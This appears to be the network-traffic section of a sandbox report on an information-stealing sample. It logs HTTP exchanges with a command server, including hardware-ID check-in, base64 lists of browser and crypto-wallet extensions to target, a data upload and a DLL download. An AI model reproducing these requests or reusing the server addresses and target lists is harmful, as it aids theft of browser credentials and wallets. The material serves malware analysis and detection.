Jun 28, 2024 22:33:56.503624916 CEST	49840	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:56.508373976 CEST	80	49840	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:57.201567888 CEST	80	49840	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:57.201685905 CEST	49840	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:57.317511082 CEST	49840	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:57.318052053 CEST	49841	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:57.322609901 CEST	80	49840	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:57.322674990 CEST	49840	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:57.322838068 CEST	80	49841	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:57.322918892 CEST	49841	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:57.323602915 CEST	49841	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:57.328308105 CEST	80	49841	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:58.012120008 CEST	80	49841	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:58.012248039 CEST	49841	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:58.015403032 CEST	49841	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:58.015839100 CEST	49842	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:58.020539999 CEST	80	49841	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:58.020612001 CEST	49841	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:58.020668983 CEST	80	49842	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:58.021142006 CEST	49842	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:58.021286964 CEST	49842	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:58.026211977 CEST	80	49842	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:58.749871016 CEST	80	49842	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:58.749948978 CEST	49842	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:58.864175081 CEST	49842	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:58.864625931 CEST	49843	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:58.991343021 CEST	80	49843	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:58.991527081 CEST	80	49842	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:58.991528988 CEST	49843	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:58.991599083 CEST	49842	80	192.168.2.4	77.91.77.82

HTTP Request Dependency Graph

85.28.47.4

77.91.77.81

77.91.77.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	85.28.47.4	80	6980	C:\Users\user\Desktop\1jPL5zru3u.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:31:54.877218008 CEST	411	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIIDAEBGCAAECAKFHII Host: 85.28.47.4 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 39 39 39 38 39 45 42 33 37 39 33 39 39 34 38 38 30 37 35 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 2d 2d 0d 0a Data Ascii: ------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="hwid"9799989EB3793994880753------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="build"default------BGIIDAEBGCAAECAKFHII--
Jun 28, 2024 22:31:55.527087927 CEST	384	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:31:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 44 64 6a 59 54 46 6d 4e 54 63 31 59 6a 6b 78 4e 6d 55 77 5a 54 5a 6d 4d 44 67 31 4e 7a 42 6a 4d 7a 63 78 5a 54 59 77 4e 54 68 6a 59 57 5a 69 4e 7a 42 6b 4d 6a 45 32 5a 47 4d 7a 4d 6d 56 6b 4f 57 56 6c 4e 6a 51 31 59 6a 64 68 4d 6a 4a 69 5a 54 45 32 4e 6a 49 77 4f 54 55 31 4e 47 59 31 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: NDdjYTFmNTc1YjkxNmUwZTZmMDg1NzBjMzcxZTYwNThjYWZiNzBkMjE2ZGMzMmVkOWVlNjQ1YjdhMjJiZTE2NjIwOTU1NGY1fGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDB8MHwxfDF8MXwxfDF8MXw=
Jun 28, 2024 22:31:55.529062986 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEG Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 2d 2d 0d 0a Data Ascii: ------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="message"browsers------CBAKJKJJJECFIEBFHIEG--
Jun 28, 2024 22:31:55.884324074 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:31:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jun 28, 2024 22:31:55.884341955 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jun 28, 2024 22:31:55.884351015 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jun 28, 2024 22:31:55.885958910 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHC Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 2d 2d 0d 0a Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="message"plugins------IDGHDGIDAKEBAAKFCGHC--
Jun 28, 2024 22:31:56.070770025 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:31:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jun 28, 2024 22:31:56.070897102 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jun 28, 2024 22:31:56.070909977 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jun 28, 2024 22:31:56.070920944 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jun 28, 2024 22:31:56.070930004 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Jun 28, 2024 22:31:56.070940018 CEST	28	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 77 3d Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHw=
Jun 28, 2024 22:31:56.089689016 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGDHDAECBGDHJKFIDG Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 2d 2d 0d 0a Data Ascii: ------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="message"fplugins------HDBGDHDAECBGDHJKFIDG--
Jun 28, 2024 22:31:56.271460056 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:31:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jun 28, 2024 22:31:56.296241999 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBFHIEBKJKFHIEBFBA Host: 85.28.47.4 Content-Length: 6983 Connection: Keep-Alive Cache-Control: no-cache
Jun 28, 2024 22:31:56.296298981 CEST	6983	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 Data Ascii: ------FCFBFHIEBKJKFHIEBFBAContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------FCFBFHIEBKJKFHIEBFBAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jun 28, 2024 22:31:57.027007103 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:31:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 22:31:57.899899006 CEST	89	OUT	GET /69934896f997d5bb/sqlite3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 28, 2024 22:31:58.080224991 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:31:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jun 28, 2024 22:31:58.080245018 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
